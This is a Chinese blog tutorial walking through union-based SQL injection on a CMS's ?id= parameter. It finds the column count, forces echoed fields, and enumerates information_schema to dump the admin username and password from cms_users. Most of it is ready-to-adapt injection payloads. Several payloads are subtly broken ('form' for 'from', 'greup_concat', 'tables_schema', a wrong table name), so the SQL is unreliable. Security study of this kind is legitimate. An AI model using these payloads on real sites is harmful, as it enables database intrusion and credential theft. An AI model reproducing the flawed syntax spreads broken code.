sql注入——联合查询

我们先找到url中含有?的地方,一般?后面都是用户可控的参数,我们可以通过修改?后面的传参来进行SQL注入
在这里插入图片描述

我们在找到可以进行SQL注入的地方后,我们可以进行联合查询
我们先要进行不断的尝试,找出这个服务器后台数据库的列数,我们可以通过在语句后面添加order by 排序语句从1进行不断尝试,order by 1是对第一列进行排序,如果到哪列突然报,那我们就可以知道这个数据库的字段数,即15列

当我们知道数据库的字段数后,我们可以进行联合查询

?id=35 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

在这里插入图片描述

我们联合查询后发现内容没有变化,证明我们的字段数找对了
但是联合查询我们的1-15并没有出来,所以我们要对语句进行修改,我们要使前面的语句错误,才能是我们的1-15显现出来

?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

在这里插入图片描述

我们通过是前面正常的语句报错,得到了我们的回显字段
我们可以将回显字段变为查询语句
在这里插入图片描述

数据库中information_schema数据库的元数据数据库(库名、table表(表名)、columns(列名))
我们要查询表名

?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,table_name,12,13,14,15 form information_schema.tables

当我们查询后发现,报错 在这里插入图片描述

这是因为我们查询的数据类型与要查询的数据类型不同,所以我们先将我们的数据转化为16进制再进行查询hex(table_name)
在这里插入图片描述

我们的到一串16进制,我们对其解译
在这里插入图片描述

我们就得到了表名,CHARACTER_SETS

我们再得到表名后,得确定该表是否为cms数据库的表,得再在语句后面加限定where tables_schema=database()

?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,hex(table_name),12,13,14,15 form information_schema.tables where table_schema=database()

在这里插入图片描述

我们查到了cms的表,但只有一个,为了查找到全部的表,我们需要对字段进行改变
hex(table_name)变为查找所有表的联合查询hex(greup_concat(table_name))

?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,hex(greup_concat(table_name)),12,13,14,15 form information_schema.tables where table_schema=database()

在这里插入图片描述

我们对这些表名进行转义
在这里插入图片描述

cms_article
cms_category
cms_file
cms_friendlink
cms_message
cms_notice
cms_page
cms_users
我们可以发现对我们最有用的为cms_users表
我么可以查看该表的内容,我们就要知道cms_users列名

?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,hex(greup_concat(column_name)),12,13,14,15 form information_schema.columns where table_schema=database() and table_name='cms'

在这里插入图片描述

我们就获取到了cms_users表的所有列名
在这里插入图片描述

userid
username
password
我们直接查询cms_users表的username列和password列
在这里插入图片描述

我们就获取到了用户名和密码,但是他们连在一起,所以我们添加分割符来是他们分开,方便我们辨认可以添加0x3a此为:的16进制,也可以直接写’:'字符串
在这里插入图片描述

这下我们就可知,admin为用户名
我们对密码进行解密
在这里插入图片描述

至此,我们就成功通过sql注入查询到了服务器的用户名和密码

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值